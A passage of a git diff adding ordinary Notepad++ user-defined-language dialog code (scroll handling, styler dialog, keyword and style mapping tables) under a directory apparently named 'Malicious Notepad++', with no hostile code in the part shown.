::SetScrollPos(_hSelf, SB_VERT, _yScrollPos, TRUE); + ::ScrollWindow(_hSelf, 0, diff, NULL, NULL); + } + } + return TRUE; + } + + case WM_VSCROLL : + { + int originalHight = _dlgPos.bottom; + int oldy = _yScrollPos; + int maxPos = originalHight - _currentHight; + + switch (LOWORD (wParam)) + { + // user clicked the top arrow + case SB_LINEUP: + if (_yScrollPos <= 0) + return FALSE; + _yScrollPos = 0; + break; + + // user clicked the bottom arrow + case SB_LINEDOWN: + if (_yScrollPos >= maxPos) + return FALSE; + _yScrollPos = maxPos; + break; + + case SB_PAGEDOWN: + if (_yScrollPos >= maxPos) + return FALSE; + _yScrollPos = maxPos; + break; + + case SB_PAGEUP: + if (_yScrollPos <= 0) + return FALSE; + _yScrollPos = 0; + break; + + case SB_THUMBTRACK: + case SB_THUMBPOSITION: + _yScrollPos = HIWORD(wParam); + break; + + default : + return FALSE; + } + ::SetScrollPos(_hSelf, SB_VERT, _yScrollPos, TRUE); + ::ScrollWindow(_hSelf, 0, oldy-_yScrollPos, NULL, NULL); + } + case NPPM_MODELESSDIALOG : + return ::SendMessage(_hParent, NPPM_MODELESSDIALOG, wParam, lParam); + } + + return FALSE; +} + +INT_PTR CALLBACK StringDlg::run_dlgProc(UINT Message, WPARAM wParam, LPARAM) +{ + switch (Message) + { + case WM_INITDIALOG : + { + ::SetWindowText(_hSelf, _title.c_str()); + ::SetDlgItemText(_hSelf, IDC_STRING_STATIC, _static.c_str()); + ::SetDlgItemText(_hSelf, IDC_STRING_EDIT, _textValue.c_str()); + if (_txtLen) + ::SendDlgItemMessage(_hSelf, IDC_STRING_EDIT, EM_SETLIMITTEXT, _txtLen, 0); + + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDOK : + { + TCHAR tmpName[langNameLenMax]; + tmpName[0] = '\0'; + ::GetDlgItemText(_hSelf, IDC_STRING_EDIT, tmpName, langNameLenMax); + _textValue = tmpName; + ::EndDialog(_hSelf, reinterpret_cast(_textValue.c_str())); + return TRUE; + } + + case IDCANCEL : + ::EndDialog(_hSelf, 0); + return TRUE; + + default: + return FALSE; + } + } + default : + return FALSE; + } +} + +INT_PTR CALLBACK StylerDlg::dlgProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + StylerDlg * dlg = (StylerDlg *)::GetProp(hwnd, TEXT("Styler dialog prop")); + NppParameters *pNppParam = NppParameters::getInstance(); + + switch (message) + { + case WM_INITDIALOG : + { + NativeLangSpeaker *pNativeLangSpeaker = pNppParam->getNativeLangSpeaker(); + pNativeLangSpeaker->changeUserDefineLangPopupDlg(hwnd); + + ::SetProp(hwnd, TEXT("Styler dialog prop"), (HANDLE)lParam); + dlg = (StylerDlg *)::GetProp(hwnd, TEXT("Styler dialog prop")); + Style & style = SharedParametersDialog::_pUserLang->_styleArray.getStyler(dlg->_stylerIndex); + + // move dialog over UDL GUI (position 0,0 of UDL window) so it wouldn't cover the code + RECT wrc; + ::GetWindowRect(dlg->_parent, &wrc); + wrc.left = wrc.left < 0 ? 200 : wrc.left; // if outside of visible area + wrc.top = wrc.top < 0 ? 200 : wrc.top; + ::SetWindowPos(hwnd, HWND_TOP, wrc.left, wrc.top, 0, 0, SWP_NOSIZE | SWP_NOZORDER); + + ::SendDlgItemMessage(hwnd, IDC_STYLER_CHECK_UNDERLINE, BM_SETCHECK, style._fontStyle & FONTSTYLE_UNDERLINE, 0); + ::SendDlgItemMessage(hwnd, IDC_STYLER_CHECK_ITALIC, BM_SETCHECK, style._fontStyle & FONTSTYLE_ITALIC, 0); + ::SendDlgItemMessage(hwnd, IDC_STYLER_CHECK_BOLD, BM_SETCHECK, style._fontStyle & FONTSTYLE_BOLD, 0); + + // for the font size combo + HWND hFontSizeCombo = ::GetDlgItem(hwnd, IDC_STYLER_COMBO_FONT_SIZE); + for(int j = 0 ; j < int(sizeof(fontSizeStrs))/(3*sizeof(TCHAR)) ; ++j) + ::SendMessage(hFontSizeCombo, CB_ADDSTRING, 0, reinterpret_cast(fontSizeStrs[j])); + + TCHAR size[10]; + if (style._fontSize == -1) + size[0] = '\0'; + else + wsprintf(size, TEXT("%d"),style._fontSize); + + auto i = ::SendMessage(hFontSizeCombo, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(size)); + if (i != CB_ERR) + ::SendMessage(hFontSizeCombo, CB_SETCURSEL, i, 0); + + // for the font name combo + HWND hFontNameCombo = ::GetDlgItem(hwnd, IDC_STYLER_COMBO_FONT_NAME); + const std::vector & fontlist = pNppParam->getFontList(); + for (size_t j = 0, len = fontlist.size() ; j < len ; ++j) + { + auto k = ::SendMessage(hFontNameCombo, CB_ADDSTRING, 0, reinterpret_cast(fontlist[j].c_str())); + ::SendMessage(hFontNameCombo, CB_SETITEMDATA, k, reinterpret_cast(fontlist[j].c_str())); + } + + i = ::SendMessage(hFontNameCombo, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(style._fontName)); + if (i == CB_ERR) + i = 0; + ::SendMessage(hFontNameCombo, CB_SETCURSEL, i, 0); + + HWND hFgColourStaticText = ::GetDlgItem(hwnd, IDC_STYLER_FG_STATIC); + HWND hBgColourStaticText = ::GetDlgItem(hwnd, IDC_STYLER_BG_STATIC); + + if (style._fgColor == COLORREF(-1)) + style._fgColor = black; + + if (style._bgColor == COLORREF(-1)) + style._bgColor = white; + + dlg->_pFgColour->init(dlg->_hInst, hwnd); + dlg->_pFgColour->setColour(style._fgColor); + dlg->_pBgColour->init(dlg->_hInst, hwnd); + dlg->_pBgColour->setColour(style._bgColor); + + POINT p1, p2; + RECT rc1, rc2; + + ::GetWindowRect(hFgColourStaticText, &rc1); + ::GetWindowRect(hBgColourStaticText, &rc2); + + p1.x = rc1.left; p1.y = rc1.top; + p2.x = rc2.left; p2.y = rc2.top; + + p1.x += rc1.right - rc1.left; + p2.x += rc2.right - rc2.left; + + ::ScreenToClient(hwnd, &p1); + ::ScreenToClient(hwnd, &p2); + + p1.x += 10; p2.x += 10; + p1.y -= 6; p2.y -= 6; + + ::MoveWindow(dlg->_pFgColour->getHSelf(), p1.x, p1.y, 30, 30, TRUE); + ::MoveWindow(dlg->_pBgColour->getHSelf(), p2.x, p2.y, 30, 30, TRUE); + + dlg->_pFgColour->display(); + dlg->_pBgColour->display(); + + unordered_map::iterator iter = globalMappper().nestingMapper.begin(); + for (; iter != globalMappper().nestingMapper.end(); ++iter) + { + ::SendDlgItemMessage(hwnd, iter->first, BM_SETCHECK, style._nesting & iter->second, 0); + ::EnableWindow(::GetDlgItem(hwnd, iter->first), dlg->_enabledNesters & iter->second); + } + return TRUE; + } + + case WM_COMMAND : + { + Style & style = SharedParametersDialog::_pUserLang->_styleArray.getStyler(dlg->_stylerIndex); + if (HIWORD(wParam) == CBN_SELCHANGE) + { + auto i = ::SendDlgItemMessage(hwnd, LOWORD(wParam), CB_GETCURSEL, 0, 0); + if (LOWORD(wParam) == IDC_STYLER_COMBO_FONT_SIZE) + { + TCHAR intStr[5]; + if (i != 0) + { + ::SendDlgItemMessage(hwnd, LOWORD(wParam), CB_GETLBTEXT, i, reinterpret_cast(intStr)); + if ((!intStr) || (!intStr[0])) + style._fontSize = -1; + else + { + TCHAR *finStr; + style._fontSize = generic_strtol(intStr, &finStr, 10); + if (*finStr != '\0') + style._fontSize = -1; + } + } + else + { + style._fontSize = -1; + } + } + else if (LOWORD(wParam) == IDC_STYLER_COMBO_FONT_NAME) + { + style._fontName = (TCHAR *)::SendDlgItemMessage(hwnd, LOWORD(wParam), CB_GETITEMDATA, i, 0); + } + + // show changes to user, re-color document + if (SharedParametersDialog::_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + SharedParametersDialog::_pScintilla->styleChange(); + return TRUE; + } + else if (HIWORD(wParam) == CPN_COLOURPICKED) // #define CPN_COLOURPICKED (BN_CLICKED) + { + if (wParam == IDCANCEL) + { + style = dlg->_initialStyle; + + // show changes to user, re-color document + if (SharedParametersDialog::_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + SharedParametersDialog::_pScintilla->styleChange(); + + ::RemoveProp(hwnd, TEXT("Styler dialog prop")); + ::EndDialog(hwnd, IDCANCEL); + return TRUE; + } + + if (wParam == IDOK) + { + ::RemoveProp(hwnd, TEXT("Styler dialog prop")); + ::EndDialog(hwnd, IDOK); + return TRUE; + } + + style._fgColor = dlg->_pFgColour->getColour(); + style._bgColor = dlg->_pBgColour->getColour(); + + if (dlg->_pFgColour->isEnabled()) + style._colorStyle |= COLORSTYLE_FOREGROUND; + else + style._colorStyle &= ~COLORSTYLE_FOREGROUND; + if (dlg->_pBgColour->isEnabled()) + style._colorStyle |= COLORSTYLE_BACKGROUND; + else + style._colorStyle &= ~COLORSTYLE_BACKGROUND; + + style._fontStyle = FONTSTYLE_NONE; + if (BST_CHECKED == ::SendMessage(::GetDlgItem(hwnd, IDC_STYLER_CHECK_BOLD), BM_GETCHECK, 0, 0)) + style._fontStyle |= FONTSTYLE_BOLD; + if (BST_CHECKED == ::SendMessage(::GetDlgItem(hwnd, IDC_STYLER_CHECK_ITALIC), BM_GETCHECK, 0, 0)) + style._fontStyle |= FONTSTYLE_ITALIC; + if (BST_CHECKED == ::SendMessage(::GetDlgItem(hwnd, IDC_STYLER_CHECK_UNDERLINE), BM_GETCHECK, 0, 0)) + style._fontStyle |= FONTSTYLE_UNDERLINE; + + style._nesting = SCE_USER_MASK_NESTING_NONE; + unordered_map::iterator iter = globalMappper().nestingMapper.begin(); + for (; iter != globalMappper().nestingMapper.end(); ++iter) + { + if (BST_CHECKED == ::SendMessage(::GetDlgItem(hwnd, iter->first), BM_GETCHECK, 0, 0)) + style._nesting |= iter->second; + } + + // show changes to user, re-color document + if (SharedParametersDialog::_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + SharedParametersDialog::_pScintilla->styleChange(); + + return TRUE; + } + return FALSE; + } + case WM_CLOSE: + { + return TRUE; + } + default : + return FALSE; + } +} diff --git a/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.h b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.h new file mode 100644 index 0000000..835d9ec --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.h @@ -0,0 +1,461 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include "UserDefineResource.h" +#include "ControlsTab.h" +#include "ColourPicker.h" +#include "Parameters.h" +#include "URLCtrl.h" +#include "tchar.h" +#include "SciLexer.h" +#include + +class ScintillaEditView; +class UserLangContainer; +struct Style; +#define WL_LEN_MAX 1024 +#define BOLD_MASK 1 +#define ITALIC_MASK 2 +const bool DOCK = true; +const bool UNDOCK = false; + +class GlobalMappers +{ + public: + + std::unordered_map keywordIdMapper; + std::unordered_map keywordNameMapper; + + std::unordered_map styleIdMapper; + std::unordered_map styleNameMapper; + + std::unordered_map temp; + std::unordered_map::iterator iter; + + std::unordered_map nestingMapper; + std::unordered_map dialogMapper; + std::unordered_map setLexerMapper; + + // only default constructor is needed + GlobalMappers() + { + // pre 2.0 + temp[TEXT("Operators")] = SCE_USER_KWLIST_OPERATORS1; + temp[TEXT("Folder+")] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_OPEN; + temp[TEXT("Folder-")] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_CLOSE; + temp[TEXT("Words1")] = SCE_USER_KWLIST_KEYWORDS1; + temp[TEXT("Words2")] = SCE_USER_KWLIST_KEYWORDS2; + temp[TEXT("Words3")] = SCE_USER_KWLIST_KEYWORDS3; + temp[TEXT("Words4")] = SCE_USER_KWLIST_KEYWORDS4; + + // in case of duplicate entries, newer string should overwrite old one ! + for (iter = temp.begin(); iter != temp.end(); ++iter) + keywordNameMapper[iter->second] = iter->first; + keywordIdMapper.insert(temp.begin(), temp.end()); + temp.clear(); + + // 2.0 + temp[TEXT("Comments")] = SCE_USER_KWLIST_COMMENTS; + temp[TEXT("Numbers, additional")] = SCE_USER_KWLIST_NUMBER_RANGE; + temp[TEXT("Numbers, prefixes")] = SCE_USER_KWLIST_NUMBER_PREFIX2; + temp[TEXT("Numbers, extras with prefixes")] = SCE_USER_KWLIST_NUMBER_EXTRAS2; + temp[TEXT("Numbers, suffixes")] = SCE_USER_KWLIST_NUMBER_SUFFIX2; + temp[TEXT("Operators1")] = SCE_USER_KWLIST_OPERATORS1; + temp[TEXT("Operators2")] = SCE_USER_KWLIST_OPERATORS2; + temp[TEXT("Folders in code1, open")] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_OPEN; + temp[TEXT("Folders in code1, middle")] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_MIDDLE; + temp[TEXT("Folders in code1, close")] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_CLOSE; + temp[TEXT("Folders in code2, open")] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_OPEN; + temp[TEXT("Folders in code2, middle")] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_MIDDLE; + temp[TEXT("Folders in code2, close")] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_CLOSE; + temp[TEXT("Folders in comment, open")] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_OPEN; + temp[TEXT("Folders in comment, middle")] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_MIDDLE; + temp[TEXT("Folders in comment, close")] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_CLOSE; + temp[TEXT("Keywords1")] = SCE_USER_KWLIST_KEYWORDS1; + temp[TEXT("Keywords2")] = SCE_USER_KWLIST_KEYWORDS2; + temp[TEXT("Keywords3")] = SCE_USER_KWLIST_KEYWORDS3; + temp[TEXT("Keywords4")] = SCE_USER_KWLIST_KEYWORDS4; + temp[TEXT("Keywords5")] = SCE_USER_KWLIST_KEYWORDS5; + temp[TEXT("Keywords6")] = SCE_USER_KWLIST_KEYWORDS6; + temp[TEXT("Keywords7")] = SCE_USER_KWLIST_KEYWORDS7; + temp[TEXT("Keywords8")] = SCE_USER_KWLIST_KEYWORDS8; + temp[TEXT("Delimiters")] = SCE_USER_KWLIST_DELIMITERS; + + // in case of duplicate entries, newer string should overwrite old one ! + for (iter = temp.begin(); iter != temp.end(); ++iter) + keywordNameMapper[iter->second] = iter->first; + keywordIdMapper.insert(temp.begin(), temp.end()); + temp.clear(); + + // 2.1 + temp[TEXT("Numbers, prefix1")] = SCE_USER_KWLIST_NUMBER_PREFIX1; + temp[TEXT("Numbers, prefix2")] = SCE_USER_KWLIST_NUMBER_PREFIX2; + temp[TEXT("Numbers, extras1")] = SCE_USER_KWLIST_NUMBER_EXTRAS1; + temp[TEXT("Numbers, extras2")] = SCE_USER_KWLIST_NUMBER_EXTRAS2; + temp[TEXT("Numbers, suffix1")] = SCE_USER_KWLIST_NUMBER_SUFFIX1; + temp[TEXT("Numbers, suffix2")] = SCE_USER_KWLIST_NUMBER_SUFFIX2; + temp[TEXT("Numbers, range")] = SCE_USER_KWLIST_NUMBER_RANGE; + + // in case of duplicate entries, newer string should overwrite old one ! + for (iter = temp.begin(); iter != temp.end(); ++iter) + keywordNameMapper[iter->second] = iter->first; + keywordIdMapper.insert(temp.begin(), temp.end()); + temp.clear(); + + // pre 2.0 + temp[TEXT("FOLDEROPEN")] = SCE_USER_STYLE_FOLDER_IN_CODE1; + temp[TEXT("FOLDERCLOSE")] = SCE_USER_STYLE_FOLDER_IN_CODE1; + temp[TEXT("KEYWORD1")] = SCE_USER_STYLE_KEYWORD1; + temp[TEXT("KEYWORD2")] = SCE_USER_STYLE_KEYWORD2; + temp[TEXT("KEYWORD3")] = SCE_USER_STYLE_KEYWORD3; + temp[TEXT("KEYWORD4")] = SCE_USER_STYLE_KEYWORD4; + temp[TEXT("COMMENT")] = SCE_USER_STYLE_COMMENT; + temp[TEXT("COMMENT LINE")] = SCE_USER_STYLE_COMMENTLINE; + temp[TEXT("NUMBER")] = SCE_USER_STYLE_NUMBER; + temp[TEXT("OPERATOR")] = SCE_USER_STYLE_OPERATOR; + temp[TEXT("DELIMINER1")] = SCE_USER_STYLE_DELIMITER1; + temp[TEXT("DELIMINER2")] = SCE_USER_STYLE_DELIMITER2; + temp[TEXT("DELIMINER3")] = SCE_USER_STYLE_DELIMITER3; + + // in case of duplicate entries, newer string should overwrite old one ! + for (iter = temp.begin(); iter != temp.end(); ++iter) + styleNameMapper[iter->second] = iter->first; + styleIdMapper.insert(temp.begin(), temp.end()); + temp.clear(); + + // post 2.0 + temp[TEXT("DEFAULT")] = SCE_USER_STYLE_DEFAULT; + temp[TEXT("COMMENTS")] = SCE_USER_STYLE_COMMENT; + temp[TEXT("LINE COMMENTS")] = SCE_USER_STYLE_COMMENTLINE; + temp[TEXT("NUMBERS")] = SCE_USER_STYLE_NUMBER; + temp[TEXT("KEYWORDS1")] = SCE_USER_STYLE_KEYWORD1; + temp[TEXT("KEYWORDS2")] = SCE_USER_STYLE_KEYWORD2; + temp[TEXT("KEYWORDS3")] = SCE_USER_STYLE_KEYWORD3; + temp[TEXT("KEYWORDS4")] = SCE_USER_STYLE_KEYWORD4; + temp[TEXT("KEYWORDS5")] = SCE_USER_STYLE_KEYWORD5; + temp[TEXT("KEYWORDS6")] = SCE_USER_STYLE_KEYWORD6; + temp[TEXT("KEYWORDS7")] = SCE_USER_STYLE_KEYWORD7; + temp[TEXT("KEYWORDS8")] = SCE_USER_STYLE_KEYWORD8; + temp[TEXT("OPERATORS")] = SCE_USER_STYLE_OPERATOR; + temp[TEXT("FOLDER IN CODE1")] = SCE_USER_STYLE_FOLDER_IN_CODE1; + temp[TEXT("FOLDER IN CODE2")] = SCE_USER_STYLE_FOLDER_IN_CODE2; + temp[TEXT("FOLDER IN COMMENT")] = SCE_USER_STYLE_FOLDER_IN_COMMENT; + temp[TEXT("DELIMITERS1")] = SCE_USER_STYLE_DELIMITER1; + temp[TEXT("DELIMITERS2")] = SCE_USER_STYLE_DELIMITER2; + temp[TEXT("DELIMITERS3")] = SCE_USER_STYLE_DELIMITER3; + temp[TEXT("DELIMITERS4")] = SCE_USER_STYLE_DELIMITER4; + temp[TEXT("DELIMITERS5")] = SCE_USER_STYLE_DELIMITER5; + temp[TEXT("DELIMITERS6")] = SCE_USER_STYLE_DELIMITER6; + temp[TEXT("DELIMITERS7")] = SCE_USER_STYLE_DELIMITER7; + temp[TEXT("DELIMITERS8")] = SCE_USER_STYLE_DELIMITER8; + + // in case of duplicate entries, newer string should overwrite old one ! + for (iter = temp.begin(); iter != temp.end(); ++iter) + styleNameMapper[iter->second] = iter->first; + styleIdMapper.insert(temp.begin(), temp.end()); + temp.clear(); + + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER1] = SCE_USER_MASK_NESTING_DELIMITER1; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER2] = SCE_USER_MASK_NESTING_DELIMITER2; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER3] = SCE_USER_MASK_NESTING_DELIMITER3; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER4] = SCE_USER_MASK_NESTING_DELIMITER4; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER5] = SCE_USER_MASK_NESTING_DELIMITER5; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER6] = SCE_USER_MASK_NESTING_DELIMITER6; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER7] = SCE_USER_MASK_NESTING_DELIMITER7; + nestingMapper[IDC_STYLER_CHECK_NESTING_DELIMITER8] = SCE_USER_MASK_NESTING_DELIMITER8; + nestingMapper[IDC_STYLER_CHECK_NESTING_COMMENT] = SCE_USER_MASK_NESTING_COMMENT; + nestingMapper[IDC_STYLER_CHECK_NESTING_COMMENT_LINE] = SCE_USER_MASK_NESTING_COMMENT_LINE; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD1] = SCE_USER_MASK_NESTING_KEYWORD1; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD2] = SCE_USER_MASK_NESTING_KEYWORD2; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD3] = SCE_USER_MASK_NESTING_KEYWORD3; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD4] = SCE_USER_MASK_NESTING_KEYWORD4; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD5] = SCE_USER_MASK_NESTING_KEYWORD5; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD6] = SCE_USER_MASK_NESTING_KEYWORD6; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD7] = SCE_USER_MASK_NESTING_KEYWORD7; + nestingMapper[IDC_STYLER_CHECK_NESTING_KEYWORD8] = SCE_USER_MASK_NESTING_KEYWORD8; + nestingMapper[IDC_STYLER_CHECK_NESTING_OPERATORS1] = SCE_USER_MASK_NESTING_OPERATORS1; + nestingMapper[IDC_STYLER_CHECK_NESTING_OPERATORS2] = SCE_USER_MASK_NESTING_OPERATORS2; + nestingMapper[IDC_STYLER_CHECK_NESTING_NUMBERS] = SCE_USER_MASK_NESTING_NUMBERS; + + dialogMapper[IDC_NUMBER_PREFIX1_EDIT] = SCE_USER_KWLIST_NUMBER_PREFIX1; + dialogMapper[IDC_NUMBER_PREFIX2_EDIT] = SCE_USER_KWLIST_NUMBER_PREFIX2; + dialogMapper[IDC_NUMBER_EXTRAS1_EDIT] = SCE_USER_KWLIST_NUMBER_EXTRAS1; + dialogMapper[IDC_NUMBER_EXTRAS2_EDIT] = SCE_USER_KWLIST_NUMBER_EXTRAS2; + dialogMapper[IDC_NUMBER_SUFFIX1_EDIT] = SCE_USER_KWLIST_NUMBER_SUFFIX1; + dialogMapper[IDC_NUMBER_SUFFIX2_EDIT] = SCE_USER_KWLIST_NUMBER_SUFFIX2; + dialogMapper[IDC_NUMBER_RANGE_EDIT] = SCE_USER_KWLIST_NUMBER_RANGE; + + dialogMapper[IDC_FOLDER_IN_CODE1_OPEN_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_OPEN; + dialogMapper[IDC_FOLDER_IN_CODE1_MIDDLE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_MIDDLE; + dialogMapper[IDC_FOLDER_IN_CODE1_CLOSE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE1_CLOSE; + dialogMapper[IDC_FOLDER_IN_CODE2_OPEN_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_OPEN; + dialogMapper[IDC_FOLDER_IN_CODE2_MIDDLE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_MIDDLE; + dialogMapper[IDC_FOLDER_IN_CODE2_CLOSE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_CODE2_CLOSE; + dialogMapper[IDC_FOLDER_IN_COMMENT_OPEN_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_OPEN; + dialogMapper[IDC_FOLDER_IN_COMMENT_MIDDLE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_MIDDLE; + dialogMapper[IDC_FOLDER_IN_COMMENT_CLOSE_EDIT] = SCE_USER_KWLIST_FOLDERS_IN_COMMENT_CLOSE; + + dialogMapper[IDC_KEYWORD1_EDIT] = SCE_USER_KWLIST_KEYWORDS1; + dialogMapper[IDC_KEYWORD2_EDIT] = SCE_USER_KWLIST_KEYWORDS2; + dialogMapper[IDC_KEYWORD3_EDIT] = SCE_USER_KWLIST_KEYWORDS3; + dialogMapper[IDC_KEYWORD4_EDIT] = SCE_USER_KWLIST_KEYWORDS4; + dialogMapper[IDC_KEYWORD5_EDIT] = SCE_USER_KWLIST_KEYWORDS5; + dialogMapper[IDC_KEYWORD6_EDIT] = SCE_USER_KWLIST_KEYWORDS6; + dialogMapper[IDC_KEYWORD7_EDIT] = SCE_USER_KWLIST_KEYWORDS7; + dialogMapper[IDC_KEYWORD8_EDIT] = SCE_USER_KWLIST_KEYWORDS8; + + setLexerMapper[SCE_USER_KWLIST_COMMENTS] = "userDefine.comments"; + setLexerMapper[SCE_USER_KWLIST_DELIMITERS] = "userDefine.delimiters"; + setLexerMapper[SCE_USER_KWLIST_OPERATORS1] = "userDefine.operators1"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_PREFIX1] = "userDefine.numberPrefix1"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_PREFIX2] = "userDefine.numberPrefix2"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_EXTRAS1] = "userDefine.numberExtras1"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_EXTRAS2] = "userDefine.numberExtras2"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_SUFFIX1] = "userDefine.numberSuffix1"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_SUFFIX2] = "userDefine.numberSuffix2"; + setLexerMapper[SCE_USER_KWLIST_NUMBER_RANGE] = "userDefine.numberRange"; + setLexerMapper[SCE_USER_KWLIST_FOLDERS_IN_CODE1_OPEN] = "userDefine.foldersInCode1Open"; + setLexerMapper[SCE_USER_KWLIST_FOLDERS_IN_CODE1_MIDDLE] = "userDefine.foldersInCode1Middle"; + setLexerMapper[SCE_USER_KWLIST_FOLDERS_IN_CODE1_CLOSE] = "userDefine.foldersInCode1Close"; + }; +}; + +GlobalMappers & globalMappper(); + +class SharedParametersDialog : public StaticDialog +{ +friend class StylerDlg; +public: + SharedParametersDialog() {}; + virtual void updateDlg() = 0; +protected : + //Shared data + static UserLangContainer *_pUserLang; + static ScintillaEditView *_pScintilla; + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + bool setPropertyByCheck(HWND hwnd, WPARAM id, bool & bool2set); + virtual void setKeywords2List(int ctrlID) = 0; +}; + +class FolderStyleDialog : public SharedParametersDialog +{ +public: + FolderStyleDialog(): SharedParametersDialog() {}; + void updateDlg(); +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + void setKeywords2List(int ctrlID); +private : + void convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const; + void retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const; + URLCtrl _pageLink; +}; + +class KeyWordsStyleDialog : public SharedParametersDialog +{ +public: + KeyWordsStyleDialog(): SharedParametersDialog() {}; + void updateDlg(); +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + void setKeywords2List(int id); +}; + +class CommentStyleDialog : public SharedParametersDialog +{ +public : + CommentStyleDialog(): SharedParametersDialog() {}; + void updateDlg(); +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + void setKeywords2List(int id); +private : + void convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const; + void retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const; +}; + +class SymbolsStyleDialog : public SharedParametersDialog +{ +public : + SymbolsStyleDialog(): SharedParametersDialog() {}; + void updateDlg(); +protected : + INT_PTR CALLBACK run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam); + void setKeywords2List(int id); +private : + void convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const; + void retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const; +}; + +class UserDefineDialog : public SharedParametersDialog +{ +friend class ScintillaEditView; +public : + UserDefineDialog(); + ~UserDefineDialog(); + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView *pSev) { + if (!_pScintilla) + { + Window::init(hInst, hPere); + _pScintilla = pSev; + } + }; + void setScintilla(ScintillaEditView *pScinView) { + _pScintilla = pScinView; + }; + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true) { + StaticDialog::create(dialogID, isRTL, msgDestParent); + } + void destroy() { + // A Ajouter les fils... + }; + int getWidth() const { + return _dlgPos.right; + }; + int getHeight() const { + return _dlgPos.bottom; + }; + void doDialog(bool willBeShown = true, bool isRTL = false) { + if (!isCreated()) + create(IDD_GLOBAL_USERDEFINE_DLG, isRTL); + display(willBeShown); + }; + virtual void reSizeTo(RECT & rc) // should NEVER be const !!! + { + Window::reSizeTo(rc); + display(false); + display(); + }; + void reloadLangCombo(); + void changeStyle(); + bool isDocked() const {return _status == DOCK;}; + void setDockStatus(bool isDocked) {_status = isDocked;}; + bool isDirty() const {return _isDirty;}; + HWND getFolderHandle() const { + return _folderStyleDlg.getHSelf(); + }; + HWND getKeywordsHandle() const { + return _keyWordsStyleDlg.getHSelf(); + }; + HWND getCommentHandle() const { + return _commentStyleDlg.getHSelf(); + }; + HWND getSymbolHandle() const { + return _symbolsStyleDlg.getHSelf(); + }; + void setTabName(int index, const TCHAR *name2set) { + _ctrlTab.renameTab(index, name2set); + }; +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, 